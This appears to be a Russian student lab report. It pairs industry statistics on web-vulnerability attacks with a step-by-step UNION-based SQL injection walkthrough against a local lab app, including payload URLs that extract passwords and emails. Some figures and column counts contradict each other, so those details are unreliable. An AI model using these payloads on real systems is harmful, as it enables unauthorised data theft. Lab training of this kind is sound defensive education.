

Часть 1

Доля атак на организации через веб-уязвимости и распределение по конкретным уязвимостям

Для этой части я посмотрел несколько российских и зарубежных источников. Сразу нужно сказать, что в них немного разная методика подсчёта (единицы измерения). Где-то считают именно подтверждённые инциденты, где-то успешные атаки, а где-то просто статистику по расследованиям или по веб-приложениям. Поэтому цифры отличаются, и это нормально.

В отчётах используются разные единицы измерения: **IR-проекты**, **breaches**, **WAF-события**, **обнаруженные уязвимости**. Поэтому проценты **нельзя напрямую складывать** — их надо сравнивать только с учётом scope исследования. Похожая логика уже есть в твоём шаблоне.

Ссылки на источники

РФ

- <https://content.kaspersky-labs.com/se/media/en/business-security/enterprise/kaspersky-incident-response-report.pdf>
- <https://ptsecurity.com/research/analytics/results-of-incident-investigation-and-retrospective-analysis-projects-2024-2025>
- <https://rt-solar.ru/analytics/reports/5335/> (2024)
- <https://rt-solar.ru/analytics/reports/6432> (2025)
- <https://ptsecurity.com/research/analytics/aktual-nye-kiberugrozy-i-ii-kvartaly-2025-goda/>
- [BI.ZONE — Threat Zone 2025](<https://bi.zone/expertise/research/threat-zone-2025>)

Мировые

- <https://www.ibm.com/thought-leadership/institute-business-value/en-us/report/2025-threat-intelligence-index>
- <https://www.verizon.com/business/resources/reports/2025-dbir-executive-summary.pdf>
- <https://www.microsoft.com/en-us/corporate-responsibility/cybersecurity/microsoft-digital-defense-report-2025>
- <https://www.crowdstrike.com/en-us/resources/reports/global-threat-report-executive-summary-2025>
- <https://www.edgescan.com/wp-content/uploads/2025/04/2024-Vulnerability-Statistics-Report.pdf>

Источник	Период / выборка	Что именно считали	Доля
Positive Technologies (PT ESC IR), итоги расследований 2023–2024 (ptsecurity.com)	IR-проекты, IV кв. 2023 — III кв. 2024	Точка входа в инфраструктуру — веб-приложения на сетевом периметре	44%
Positive Technologies (PT ESC IR), итоги расследований 2024–2025 (ptsecurity.com)	IR-проекты, IV кв. 2024 — III кв. 2025, 100+ проектов	Самый распространённый способ первоначального доступа — эксплуатация уязвимостей в веб-приложениях, доступных из интернета	36%
Solar 4RAYS, хроники DFIR в первом полугодии 2025 года	DFIR/IR-кейсы, первое полугодие 2025 года	В большинстве расследованных атак злоумышленники использовали уязвимости в веб-приложениях	46%
Verizon DBIR 2025 (Verizon)	Глобальный датасет breaches	Exploitation of vulnerabilities as initial access vector in breaches	20%
Verizon DBIR 2024 (Verizon)	30,458 incidents и 10,626 confirmed breaches	Exploitation of vulnerabilities as critical-path action to initiate a breach; рост на 180% г/г	точная доля в summary не дана, но фиксируется резкий рост

Почему цифры расходятся

Источник / диапазон	Почему отличается
PT ESC IR (36–44%) (ptsecurity.com)	Это не весь рынок, а выборка уже расследованных серьёзных инцидентов, где веб-периметр и публичные сервисы закономерно дают более высокую долю первоначального проникновения
Solar 4RAYS (46%)	Это тоже DFIR/IR-выборка, то есть статистика по уже успешным атакам, а не по всему потоку веб-событий

Источник / диапазон	Почему отличается
Verizon DBIR (20%) (Verizon)	Это глобальный массив breaches, где считаются все основные initial access vectors, поэтому доля эксплуатации уязвимостей ниже, чем в узких IR-кейсах

Распределение по конкретным уязвимостям

2.1. Распределение внутри веб-атак (по технике / классу действий) — Verizon DBIR 2024

Метрика	Значение
Use of stolen credentials	77%
Brute force	21%
Exploit vulnerability	13%
Financial & Insurance	18%
Information	14%
Professional / Scientific / Technical Services	13%

Это распределение **внутри паттерна Basic Web Application Attacks**, а не доля всех успешных атак на организации. Основа этой части уже есть в твоём шаблоне.

2.2. Распределение по категориям OWASP Top 10 — Positive Technologies

Категория OWASP Top 10	Доля приложений с этим классом проблем
A01 Broken Access Control	100%
A05 Security Misconfiguration	83%
A07 Identification & Authentication Failures	79%
A04 Insecure Design	79%
A03 Injection	66%
A02 Cryptographic Failures	48%
A06 Vulnerable & Outdated Components	34%
A08 Software & Data Integrity Failures	21%

Категория OWASP Top 10	Доля приложений с этим классом проблем
A09 Security Logging & Monitoring Failures	17%
A10 SSRF	16%

2.3. Распределение по техникам сложных веб-атак — Ростелеком-Соляр

По отчёту Solar о веб-атаках на онлайн-ресурсы российских компаний в 2024 году в подмножестве **сложных атак высокого уровня** лидировали **Malformed Request Line, DNS Rebinding, HTTP Verb Tampering**.

Техника	Доля внутри сложных веб-атак
Malformed Request Line	21%
DNS Rebinding	19%
HTTP Verb Tampering	18%
Denial of Service	10%
Abuse of Functionality	8%
SQL Injection	6%
Cross Site Scripting	4%
Slow Body	3%
Path Traversal	3%
Blacklisted By Host	2%

Это **распределение внутри WAF-детекций сложных веб-атак**, а не внутри успешных взломов.

2.4. Распределение по конкретным типам веб-уязвимостей — Edgescan

Уязвимость / тип	Доля
SQL Injection	19.47%
Stored XSS	10.50%
Malicious File Upload	7.25%
Reflected XSS	5.53%

Уязвимость / тип	Доля
Brute Forcing Weakness	4.20%
File Path Traversal	2.67%
Sensitive File Disclosure	2.67%
User Enumeration	2.29%
CSRF	2.10%
Authorization Issue / Privileges Bypass	1.91%

2.5. Распределение на уровне CWE / общих опасных слабостей — MITRE CWE Top 25

CWE	Название
CWE-79	Cross-Site Scripting (XSS)
CWE-89	SQL Injection
CWE-352	Cross-Site Request Forgery (CSRF)
CWE-862	Missing Authorization

Итоговый вывод по части 1

Вопрос	Вывод
Какую долю атак на организации проводят через эксплуатацию веб-уязвимостей?	По глобальным breach-данным Verizon — около 20% initial access vectors, а по российским IR/DFIR-исследованиям — примерно 36–46% случаев первоначального проникновения через веб-приложения или их уязвимости. (ptsecurity.com)
Почему данные разные?	Потому что одни источники считают глобальные breaches , а другие — уже расследованные успешные инциденты , где веб-периметр обычно играет большую роль. (ptsecurity.com)
Какие уязвимости и техники встречаются чаще всего?	Наиболее важные категории: SQL Injection, XSS, RCE, опасная загрузка файлов, path traversal, ошибки доступа и ошибки конфигурации . В WAF-статистике Solar также заметны Malformed Request Line, DNS Rebinding и HTTP Verb Tampering . (Edgescan)

Часть 2

Шаг 1. Исследование параметра и определение типа уязвимости

Действие

Начал с передачи значения `id=1`:

```
http://localhost:8080/task/?id=1
```

Приложение вернуло информацию о задаче. Чтобы проверить наличие SQL-инъекции, попробовал добавить к `id` строку с целью получить название базы данных:

```
http://localhost:8080/task/?id=1' UNION SELECT DATABASE() --+
```

Результат

Приложение выдало ошибку. В тексте ошибки было упоминание `MySQL` и фрагмент запроса, содержащий `LIMIT 0, 1`. Это позволило сделать два вывода:

1. Используется СУБД **MySQL**.
2. Запрос на сервере имеет вид:

```
SELECT * FROM table WHERE id = ... LIMIT 0, 1
```

Такая конструкция ограничивает вывод только одной строкой.

Вывод

Параметр `id` уязвим для SQL-инъекций, но наличие `LIMIT` требует его обхода.

Шаг 2. Обход ограничения `LIMIT`

Действие

Чтобы сервер не добавлял `LIMIT` к нашему внедрённому запросу, решил использовать комментарий. В MySQL комментарий начинается с `--`. Первоначально пробела не поставил, что вызвало ошибку. После промпта в GPT добавил пробел:

```
http://localhost:8080/task/?id=1' --+
```

Результат

Ошибка исчезла, приложение вернуло обычный ответ. Это подтвердило, что теперь `LIMIT` отключён, и мы можем выполнять произвольные SQL-запросы через `UNION`.

Вывод

Комментарий `--+` (где `+` заменяет пробел) успешно обрезает исходный запрос, позволяя управлять дальнейшим выполнением.

Шаг 3. Определение количества столбцов в исходном запросе

Действие

Для успешного использования `UNION` необходимо, чтобы количество столбцов в подзапросе совпадало с количеством столбцов в исходном запросе. Провёл серию запросов с разным числом столбцов:

`http://localhost:8080/task/?id=3%27UNION+SELECT+1,1,1--+`

ошибки нет, значит три колонки у первого запроса

Результат

Запрос с тремя столбцами выполнен без ошибок, значит исходный запрос возвращает **три столбца**.

Вывод

Исходный запрос имеет структуру:

```
SELECT column1, column2, column3 FROM ... WHERE id = ... LIMIT 0,1
```

Шаг 4. Определение имени базы данных

Действие

Попытался получить имя текущей базы данных через `DATABASE()`. Однако прямой запрос `UNION SELECT DATABASE()` не сработал из-за несоответствия числа столбцов.

Вместо этого использовал попытку вывести данные из таблицы `tasks`:

`http://localhost:8080/task/?id=2%27UNION+ALL+SELECT+*+FROM+tasks--+`

Результат

Получил ошибку:

Table 'security.tasks' doesn't exist

Из ошибки стало ясно, что имя базы данных — `security`.

Вывод

База данных называется `security`. Это знание пригодится для дальнейшего перебора таблиц.

Шаг 5. Извлечение данных из таблицы `users`

Действие

Зная имя базы, попробовал вытащить пароли из таблицы `users`. Использовал `UNION` с подбором условий, чтобы получить конкретную запись:

`http://localhost:8080/task/?`

`id=300%27+and+1=1+union+select+password,1,1+from+users+where+id=9+--+`

Результат

Приложение вывело:

Ваш id: Wa sproiiiiiii

Ваш логин: 1

Здесь вместо `id` отобразился пароль пользователя с `id=9`. Это значит, что данные успешно извлечены, но интерфейс отображает только первую строку результирующего набора. При попытке просто `SELECT * FROM users` отображается только первая запись (admin).

Вывод

- Данные из таблицы `users` доступны.
 - Интерфейс показывает только первую строку, поэтому для получения всех записей необходимо использовать `WHERE` или `LIMIT` внутри внедрённого запроса.
-

Шаг 6. Получение структуры базы данных

Действие

Чтобы узнать, какие ещё таблицы есть в `security`, отправил запрос к системной таблице `information_schema.tables`:

`http://localhost:8080/task/?`

`id=-1'+UNION+SELECT+table_name,NULL,NULL,NULL+FROM+information_schema.tables+WHERE+table_schema='security'--+`

Результат

В ответе отобразилось:

Ваш id: emails

Таким образом, обнаружена таблица `emails`.

Вывод

В базе `security` существует как минимум таблицы `users` и `emails`. Это расширяет возможности для дальнейшей эксфильтрации данных.

Шаг 7. Извлечение данных из таблицы `emails`

Действие

Для получения данных из `emails` использовал тот же приём с условием, чтобы гарантировать вывод нужной строки:

`http://localhost:8080/task/?id=300%27+and+1=1+union+select+*,1+from+emails+where+id=4+-+--+`

Результат

Приложение вернуло:

Ваш id: 4

Ваш логин: honey_lover@otus-lab.com

Электронный адрес успешно извлечён.

Вывод

Данные из таблицы `emails` также доступны через SQL-инъекцию.

Заключение

В ходе лабораторной работы была выявлена SQL-инъекция в параметре `id` веб-приложения. С помощью метода `UNION` и обхода ограничения `LIMIT` удалось:

1. Определить тип СУБД (MySQL).
2. Узнать структуру исходного запроса (3 столбца).
3. Выяснить имя базы данных (`security`).
4. Получить список таблиц в базе (`users` , `emails`).
5. Извлечь конфиденциальные данные (пароли, email-адреса).

Работа показала важность фильтрации входных данных и использования подготовленных запросов (prepared statements) для предотвращения SQL-инъекций.

Использованные техники:

- Обход `LIMIT` с помощью комментария.
- Определение количества столбцов через `ORDER BY` и `UNION SELECT`.
- Получение метаинформации из `information_schema`.
- Эксфильтрация данных с использованием `UNION` и условий `WHERE`.

Вывод по части 2

В практической части была подтверждена уязвимость класса **SQL Injection**. Основанием для этого стало поведение приложения и появление SQL-ошибок при обработке входного параметра `id`. Такая уязвимость опасна тем, что позволяет нарушить конфиденциальность данных и получить несанкционированный доступ к содержимому базы данных. Основной способ защиты — это параметризованные запросы и безопасная обработка пользовательского ввода.

Общий вывод

В ходе работы было рассмотрено, какую роль играют веб-уязвимости в атаках на организации, а также какие типы уязвимостей встречаются чаще всего. По разным источникам доля атак через эксплуатацию уязвимостей составляет от **15%** до **44%** в зависимости от выборки и методики подсчёта. Наиболее заметными остаются **SQL Injection**, **XSS**, **RCE**, ошибки доступа и ошибки конфигурации.

Практическая часть показала, что SQL Injection остаётся реальной и опасной проблемой. Даже простая ошибка в обработке одного параметра может привести к серьёзным последствиям, включая утечку данных и компрометацию приложения.